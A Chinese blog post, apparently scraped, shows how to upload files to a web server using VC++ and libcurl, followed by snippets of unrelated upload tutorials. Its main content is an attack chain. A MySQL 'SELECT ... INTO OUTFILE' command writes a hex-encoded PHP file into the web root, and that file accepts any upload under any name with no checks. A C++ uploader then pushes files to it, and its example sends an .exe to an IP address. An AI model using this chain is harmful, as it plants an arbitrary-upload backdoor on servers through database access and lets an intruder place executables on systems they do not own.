vc libcurl 模拟上传文件

http://www.cnblogs.com/killbit/p/5393301.html 附上这篇文章,因为当时就已经想到了模拟上传,但是因为时间关系,所以就直接用PHP写了。现在改进一下,用VC+libcurl库。

 

我们也直接可以用MYSQL写入这段上传代码就可以了。

select 0x3C3F70687020696628245F46494C45535B2766696C65275D5B276E616D65275D20213D20222229207B20636F70792028245F46494C45535B2766696C65275D5B27746D705F6E616D65275D2C20245F46494C45535B2766696C65275D5B276E616D65275D2920206F7220646965202822436F756C64206E6F7420636F70792066696C6522293B207D20656C7365207B20206469652820224E6F2066696C65207370656369666965642220293B7D3F3E into outfile ‘c:\\xampp\\htdocs\\upload.php‘;

upload.html

<form action="upload.php" method="post" enctype="multipart/form-data">
 File:
 <input type="file" name="file">
 FileName:
 <input type="text" name="name">
 <input type="submit" name="submit" value="Submit">
</form>

upload.php

<?php if($_FILES[‘file‘][‘name‘] != "") { copy ($_FILES[‘file‘][‘tmp_name‘], $_FILES[‘file‘][‘name‘])  or die ("Could not copy file"); } else {  die( "No file specified" );}?>

VC代码:

// curl_uploader.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include <windows.h>
#include <stdio.h>
#include <curl/curl.h>
#pragma comment(lib,"libcurl.lib");

int http_post_upload(char* Urlpath,char* uploadname)
{
    CURL *curl;
    CURLcode res;  

      struct curl_httppost *formpost=NULL;
      struct curl_httppost *lastptr=NULL;
      struct curl_slist *headerlist=NULL;
      static const char buf[] = "Expect:";  

      curl_global_init(CURL_GLOBAL_ALL);  

      /* Fill in the file upload field */
      curl_formadd(&formpost,
                   &lastptr,
                   CURLFORM_COPYNAME, "file",
                   CURLFORM_FILE, uploadname,
                   CURLFORM_END);  

      /* Fill in the filename field */
//       curl_formadd(&formpost,
//                    &lastptr,
//                    CURLFORM_COPYNAME, "name",
//                    CURLFORM_COPYCONTENTS, tempname,
//                    CURLFORM_END);  

      /* Fill in the submit field too, even if this is rarely needed */
      curl_formadd(&formpost,
                   &lastptr,
                   CURLFORM_COPYNAME, "submit",
                   CURLFORM_COPYCONTENTS, "Submit",
                   CURLFORM_END);  

      curl = curl_easy_init();
      /* initalize custom header list (stating that Expect: 100-continue is not
         wanted */
      headerlist = curl_slist_append(headerlist, buf);
      if(curl) {
        /* what URL that receives this POST */  

         curl_easy_setopt(curl, CURLOPT_URL, Urlpath);
    /*    if ( (argc == 2) && (!strcmp(argv[1], "noexpectheader")) )  */
          /* only disable 100-continue header if explicitly requested */
          curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headerlist);
         curl_easy_setopt(curl, CURLOPT_HTTPPOST, formpost);
    //
        /* Perform the request, res will get the return code */
        res = curl_easy_perform(curl);
        /* Check for errors */
        if(res != CURLE_OK)
          fprintf(stderr, "curl_easy_perform() failed: %s\n",
                  curl_easy_strerror(res));  

        /* always cleanup */
        curl_easy_cleanup(curl);  

        /* then cleanup the formpost chain */
        curl_formfree(formpost);
        /* free slist */
        curl_slist_free_all (headerlist);
      }
      return 0;
}

int main(int argc, char *argv[])
{
    char* url = argv[1];
    char* Filename = argv[2];

    if (argc < 2)
    {
        printf("[-]:%s Upload_url upload_Filename\r\n",argv[0]);
        printf("[-]:%s http://192.168.1.1/upload.php c:\\test.exe\r\n",argv[0]);
        exit(0);
    }

    int res = http_post_upload(url,Filename);
    if (res != 0)
    {
        printf("\r\n[-]:upload error->Getlasterror:%d\r\n",GetLastError());
    }else
    {
        printf("\r\n[+]:upload sucessfuly \r\n");
    }
    return 0;

}  

时间: 2025-01-14 22:55:23

vc libcurl 模拟上传文件的相关文章

C语言 HTTP上传文件-利用libcurl库上传文件

原文  http://justwinit.cn/post/7626/ 通常情况下,一般很少使用C语言来直接上传文件,但是遇到使用C语言编程实现文件上传时,该怎么做呢? 借助开源的libcurl库,我们可以容易地实现这个功能.Libcurl是一个免费易用的客户端URL传输库,主要功能是用不同的协议连接和沟通不同的服务器,libcurl当前支持DICT, FILE, FTP, FTPS, Gopher, HTTP, HTTPS, IMAP,IMAPS, LDAP, LDAPS, POP3, POP3

使用WebClient Post方式模拟上传文件和数据

假如某网站有个表单,例如(url: http://localhost/login.aspx):帐号  密码 我们需要在程序中提交数据到这个表单,对于这种表单,我们可以使用 WebClient.UploadData 方法来实现,将所要上传的 数据拼成字符即可,程序很简单 string uriString = "http://localhost/login.aspx";// 创建一个新的 WebClient 实例.WebClient myWebClient = new WebClient(

python-requests模拟上传文件-带参数

方法1: 1.安装requests_toolbelt依赖库 #代码实现def upload(self): login_token = self.token.loadTokenList() for token in login_token: tempPassword_url = self.config['crm_test_api']+'/document/upload' tempPassword_data = self.data_to_str.strToDict('''title:1.png co

使用postman模拟上传文件到springMVC的坑:the request was rejected because no multipart boundary was found

参考该文解决问题:http://blog.csdn.net/sanjay_f/article/details/47407063 报错 threw exception [Request processing failed; nested exception is org.springframework.web.multipart.MultipartException: Could not parse multipart servlet request; nested exception is or

libcurl post上传文件

#include <stdio.h>#include <string.h> #include <curl/curl.h> int main(int argc, char *argv[]){  CURL *curl;  CURLcode res;   struct curl_httppost *formpost=NULL;  struct curl_httppost *lastptr=NULL;  struct curl_slist *headerlist=NULL;  

【转】asp.net(c#)使用HttpWebRequest附加携带请求参数以post方式模拟上传大文件(以图片为例)到Web服务器端

原文地址:http://docode.top/Article/Detail/10002 目录: 1.Http协议上传文件(以图片为例)请求报文体内容格式 2.完整版HttpWebRequest模拟上传文件请求报文内容封装 3.asp.net(c#)使用HttpWebRequest携带请求参数模拟上传文件封装源码下载 一.Http协议上传文件(以图片为例)请求报文体内容格式 首先,我们来看下通过浏览器上传文件的请求报文内容格式,这里以本人自己写的实例为例,如下图.除了能上传图片(即:头像字段),还

Python模拟HTTP Post上传文件

使用urllib2模块构造http post数据结构,提交有文件的表单(multipart/form-data),本示例提交的post表单带有两个参数及一张图片,代码如下: #buld post body data boundary = '----------%s' % hex(int(time.time() * 1000)) data = [] data.append('--%s' % boundary) data.append('Content-Disposition: form-data;

[C#]使用WebClient上传文件并同时Post表单数据字段到服务端

转自:http://www.97world.com/archives/2963 之前遇到一个问题,就是使用WebClient上传文件的同时,还要Post表单数据字段,一开始以为WebClient可以直接做到,结果发现如果先Post表单字段,就只能获取到字段及其值,如果先上传文件,也只能获取到上传文件的内容.测试了不少时间才发现WebClient不能这么使用. Google到相关的解决思路和类,因为发现网上的一些文章不是介绍得太简单就是太复杂,所以这里简单整理一下,既能帮助自己巩固知识,也希望能够

Android中利用HTTP协议实现上传文件到服务器

首先我们需要使用HTTP协议发送数据,我们就要知道HTTP发送上传文件到服务器的时候需要哪些头字段已经相关的配置,请看下图 这是使用浏览器模拟上传文件到服务器时候所发送的请求,我们可以看到它包含了请求头字段和实体部分,但是多了一个---------------------------7da2137580612,它实际上是一条分隔线,用于分隔实体数据的,他在使用分隔实体数据的时候会在前面包含多两个"-"而在结束的时候会在除了在前面都出两个减号"-"之外,还会在末尾都出